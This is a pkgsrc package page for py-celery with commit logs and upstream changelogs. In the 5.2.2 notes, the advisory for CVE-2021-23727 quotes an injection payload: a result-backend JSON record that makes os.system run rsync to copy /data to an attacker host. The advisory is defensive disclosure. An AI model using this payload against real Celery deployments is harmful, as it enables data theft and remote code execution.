./net/py-celery, Asynchronous task/job queue based on distributed message passing

[ CVSweb ] [ Homepage ] [ RSS ] [ Required by ] [ Add to tracker ]


Branch: CURRENT, Version: 5.4.0, Package name: py312-celery-5.4.0, Maintainer: pkgsrc-users

Celery is an asynchronous task queue/job queue based on distributed message
passing. It is focused on real-time operation, but supports scheduling as well.

The execution units, called tasks, are executed concurrently on a single or more
worker servers using multiprocessing, Eventlet, or gevent. Tasks can execute
asynchronously (in the background) or synchronously (wait until ready).


Required to run:
[devel/py-setuptools] [time/py-pytz] [parallel/py-billiard] [net/py-kombu] [devel/py-vine] [lang/python37]

Required to build:
[pkgtools/cwrappers]

Master sites:

Filesize: 1538.762 KB

Version history: (Expand)


CVS history: (Expand)


   2024-11-11 08:29:31 by Thomas Klausner | Files touched by this commit (862)
Log message:
py-*: remove unused tool dependency

py-setuptools includes the py-wheel functionality nowadays
   2024-06-12 19:02:05 by Adam Ciarcinski | Files touched by this commit (3) | Package updated
Log message:
py-celery: updated to 5.4.0

5.4.0
=====

Celery v5.4.0 and v5.3.x have consistently focused on enhancing the overall QA, \ 
both internally and externally.
This effort led to the new pytest-celery v1.0.0 release, developed concurrently \ 
with v5.3.0 & v5.4.0.

This release introduces two significant QA enhancements:

- **Smoke Tests**: A new layer of automatic tests has been added to Celery's \ 
standard CI. These tests are designed to handle production scenarios and complex \ 
conditions efficiently. While new contributions will not be halted due to the \ 
lack of smoke tests, we will request smoke tests for advanced changes where \ 
appropriate.
- `Standalone Bug Report Script \ 
<https://docs.celeryq.dev/projects/pytest-celery/en/latest/userguide/celery-bug-report.html>`_: \ 
The new pytest-celery plugin now allows for encapsulating a complete Celery \ 
dockerized setup within a single pytest script. Incorporating these into new bug \ 
reports will enable us to reproduce reported bugs deterministically, potentially \ 
speeding up the resolution process.

Contrary to the positive developments above, there have been numerous reports \ 
about issues with the Redis broker malfunctioning
upon restarts and disconnections. Our initial attempts to resolve this were not \ 
successful
With our enhanced QA capabilities, we are now prepared to address the core issue \ 
with Redis (as a broker) again.

The rest of the changes for this release are grouped below, with the changes \ 
from the latest release candidate listed at the end.

Changes
-------
- Add a Task class specialised for Django
- Add Google Cloud Storage (GCS) backend
- Added documentation to the smoke tests infra
- Added a checklist item for using pytest-celery in a bug report
- Bugfix: Missing id on chain
- Bugfix: Worker not consuming tasks after Redis broker restart
- Catch UnicodeDecodeError when opening corrupt beat-schedule.db
- chore(ci): Enhance CI with `workflow_dispatch` for targeted debugging and testing
- Doc: Enhance "Testing with Celery" section
- Docfix: pip install celery[sqs] -> pip install "celery[sqs]"
- Enable efficient `chord` when using dynamicdb as backend store
- feat(daemon): allows daemonization options to be fetched from app settings
- Fix DeprecationWarning: datetime.datetime.utcnow()
- Fix recursive result parents on group in middle of chain
- Fix typos and grammar
- Fixed version documentation tag from 8553 in configuration.rst
- Hotfix: Smoke tests didn't allow customizing the worker's command arguments, \ 
now it does
- Make custom remote control commands available in CLI
- Print safe_say() to stdout for non-error flows
- Support moto 5.0
- Update contributing guide to use ssh upstream url
- Update optimizing.rst
- Updated concurrency docs page.
   2024-02-09 07:06:40 by Adam Ciarcinski | Files touched by this commit (4) | Package updated
Log message:
py-celery: updated to 5.3.6

5.3.6

This release is focused mainly to fix AWS SQS new feature comatibility issue and \ 
old regressions.
The code changes are mostly fix for regressions. More details can be found below.

What's Changed

- Increased docker-build CI job timeout from 30m -> 60m
- Incredibly minor spelling fix.
- Fix non-zero exit code when receiving remote shutdown
- Update task.py get_custom_headers missing 'compression' key
- Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer
- test requirements version update
- Update elasticsearch version
- Propagates more ImportErrors during autodiscovery

5.3.5

What's Changed

- Update test.txt versions
- fix os.getcwd() FileNotFoundError
- Fix typo in CONTRIBUTING.rst
- typo(doc): configuration.rst
- assert before raise
- Update GHA checkout version
- Fixed replaced_task_nesting
- Fix code indentation for route_task() example
- support redis 5.x
- Fix typos in test_canvas.py
- Marked flaky tests
- Fix typos in calling.rst
- Added support for replaced_task_nesting in chains
- Fix typos in canvas.rst
- Patch Version Release Checklist
- Added Python 3.11 support to Dockerfile
- Dependabot (Celery)
- Bump actions/checkout from 3 to 4
- Update ETA example to include timezone
- Replaces datetime.fromisoformat with the more lenient dateutil parser
- Fixed indentation in Dockerfile for Python 3.11
- Fix git bug in Dockerfile
- Tox lint upgrade from Python 3.9 to Python 3.11
- Document gevent concurrency
- Update test.txt
- Celery Docker Upgrades
- pyupgrade upgrade v3.11.0 -> v3.13.0
- Update msgpack.txt
- Update auth.txt
- Update msgpack.txt to fix build issues
- Basic ElasticSearch / ElasticClient 8.x Support
- Fix eager tasks does not populate name field
- Fix typo in celery.app.control
- Update solar.txt ephem
- Update test.txt pytest-timeout
- Correct some mypy errors
- Update elasticsearch.txt
- Update test.txt deps
- Update test.txt
- Improved the "Next steps" documentation.
- Disabled couchbase tests due to broken package breaking main
- Update elasticsearch deps
- Update cryptography==41.0.5
- Update pytest==7.4.3
- test initial support of python 3.12.x
- updated new versions to fix CI
- Update zstd.txt
- Fixed CI Support with Python 3.12
- updated CI, docs and classifier for next release
- updated dockerfile to add python 3.12
- lint,mypy,docker-unit-tests -> Python 3.12
- Correct type of `request` in `task_revoked` documentation
- update docs docker image
- Fixed RecursionError caused by giving `config_from_object` nested mod…
- Fix: serialization error when gossip working
* [documentation] broker_connection_max_retries of 0 does not mean "retry \ 
forever"
- added 2  debian package for better stability in Docker
   2022-07-14 08:55:50 by Thomas Klausner | Files touched by this commit (1) | Package updated
Log message:
pycelery: remove patch that was removed from distinfo during update
   2022-07-11 10:50:27 by Adam Ciarcinski | Files touched by this commit (2) | Package updated
Log message:
py-celery: updated to 5.2.7

5.2.7
=====
- Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery

5.2.6
=====
- load_extension_class_names - correct module_name

5.2.5
=====
**This release was yanked due to a regression caused by the PR below**

- Use importlib instead of deprecated pkg_resources

5.2.4
=====
- Expose more debugging information when receiving unknown tasks
   2022-02-15 17:24:57 by Thomas Klausner | Files touched by this commit (4) | Package updated
Log message:
py-celery: update to 5.2.3.

5.2.3
=====

- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (#6998).
- Split Signature.__or__ into subclasses' __or__ (#7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.

5.2.2
=====

- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend.
    In some cases, the exception class is only importable from the
    consumer's code base. In this case, we reconstruct the exception class
    so that we can re-raise the error on the process which queried the
    task's result. This was introduced in #4836.
    If the recreated exception type isn't an exception, this is a security issue.
    Without the condition included in this patch, an attacker could inject a \ 
remote code execution instruction such as:
    ``os.system("rsync /data attacker@192.168.56.100:~/data")``
    by setting the task's result to a failure in the result backend with the os,
    the system function as the exception type and the payload ``rsync /data \ 
attacker@192.168.56.100:~/data`` as the exception arguments like so:

    .. code-block:: python

        {
              "exc_module": "os",
              'exc_type': "system",
              "exc_message": "rsync /data \ 
attacker@192.168.56.100:~/data"
        }

    According to my analysis, this vulnerability can only be exploited if
    the producer delayed a task which runs long enough for the
    attacker to change the result mid-flight, and the producer has
    polled for the task's result.
    The attacker would also have to gain access to the result backend.
    The severity of this security vulnerability is low, but we still
    recommend upgrading.

5.2.1
=====

- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (#7077).
- fix: task expiration is timezone aware if needed (#7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.

5.2.0
=====

- Prevent from subscribing to empty channels (#7040)
- fix register_task method.
- Fire task failure signal on final reject (#6980)
- Limit pymongo version: <3.12.1 (#7041)
- Bump min kombu version to 5.2.1

5.2.0rc2
========

- Bump Python 3.10.0 to rc2.
- [pre-commit.ci] pre-commit autoupdate (#6972).
- autopep8.
- Prevent worker to send expired revoked items upon hello command (#6975).
- docs: clarify the 'keeping results' section (#6979).
- Update deprecated task module removal in 5.0 documentation (#6981).
- [pre-commit.ci] pre-commit autoupdate.
- try python 3.10 GA.
- mention python 3.10 on readme.
- Documenting the default consumer_timeout value for rabbitmq >= 3.8.15.
- Azure blockblob backend parametrized connection/read timeouts (#6978).
- Add as_uri method to azure block blob backend.
- Add possibility to override backend implementation with celeryconfig (#6879).
- [pre-commit.ci] pre-commit autoupdate.
- try to fix deprecation warning.
- [pre-commit.ci] pre-commit autoupdate.
- not needed anyore.
- not needed anyore.
- not used anymore.
- add github discussions forum

5.2.0rc1
========

- Kill all workers when main process exits in prefork model (#6942).
- test kombu 5.2.0rc1 (#6947).
- try moto 2.2.x (#6948).
- Prepared Hacker News Post on Release Action.
- update setup with python 3.7 as minimum.
- update kombu on setupcfg.
- Added note about automatic killing all child processes of worker after its \ 
termination.
- [pre-commit.ci] pre-commit autoupdate.
- Move importskip before greenlet import (#6956).
- amqp: send expiration field to broker if requested by user (#6957).
- Single line drift warning.
- canvas: fix kwargs argument to prevent recursion (#6810) (#6959).
- Allow to enable Events with app.conf mechanism.
- Warn when expiration date is in the past.
- Add the Framework :: Celery trove classifier.
- Give indication whether the task is replacing another (#6916).
- Make setup.py executable.
- Bump version: 5.2.0b3 → 5.2.0rc1.

5.2.0b3
=======

- Add args to LOG_RECEIVED (fixes #6885) (#6898).
- Terminate job implementation for eventlet concurrency backend (#6917).
- Add cleanup implementation to filesystem backend (#6919).
- [pre-commit.ci] pre-commit autoupdate (#69).
- Add before_start hook (fixes #4110) (#6923).
- Restart consumer if connection drops (#6930).
- Remove outdated optimization documentation (#6933).
- added https verification check functionality in arangodb backend (#6800).
- Drop Python 3.6 support.
- update supported python versions on readme.
- [pre-commit.ci] pre-commit autoupdate (#6935).
- Remove appveyor configuration since we migrated to GA.
- pyugrade is now set to upgrade code to 3.7.
- Drop exclude statement since we no longer test with pypy-3.6.
- 3.10 is not GA so it's not supported yet.
- Celery 5.1 or earlier support Python 3.6.
- Fix linting error.
- fix: Pass a Context when chaining fail results (#6899).
- Bump version: 5.2.0b2 → 5.2.0b3.

5.2.0b2
=======

- Test windows on py3.10rc1 and pypy3.7 (#6868).
- Route chord_unlock task to the same queue as chord body (#6896).
- Add message properties to app.tasks.Context (#6818).
- handle already converted LogLevel and JSON (#6915).
- 5.2 is codenamed dawn-chorus.
- Bump version: 5.2.0b1 → 5.2.0b2.

5.2.0b1
=======

- Add Python 3.10 support (#6807).
- Fix docstring for Signal.send to match code (#6835).
- No blank line in log output (#6838).
- Chords get body_type independently to handle cases where body.type does not \ 
exist (#6847).
- Fix #6844 by allowing safe queries via app.inspect().active() (#6849).
- Fix multithreaded backend usage (#6851).
- Fix Open Collective donate button (#6848).
- Fix setting worker concurrency option after signal (#6853).
- Make ResultSet.on_ready promise hold a weakref to self (#6784).
- Update configuration.rst.
- Discard jobs on flush if synack isn't enabled (#6863).
- Bump click version to 8.0 (#6861).
- Amend IRC network link to Libera (#6837).
- Import celery lazily in pytest plugin and unignore flake8 F821, \ 
"undefined name '...'" (#6872).
- Fix inspect --json output to return valid json without --quiet.
- Remove celery.task references in modules, docs (#6869).
-  The Consul backend must correctly associate requests and responses (#6823).
   2022-01-05 16:41:32 by Thomas Klausner | Files touched by this commit (289)
Log message:
python: egg.mk: add USE_PKG_RESOURCES flag

This flag should be set for packages that import pkg_resources
and thus need setuptools after the build step.

Set this flag for packages that need it and bump PKGREVISION.
   2022-01-04 21:55:40 by Thomas Klausner | Files touched by this commit (1595)
Log message:
*: bump PKGREVISION for egg.mk users

They now have a tool dependency on py-setuptools instead of a DEPENDS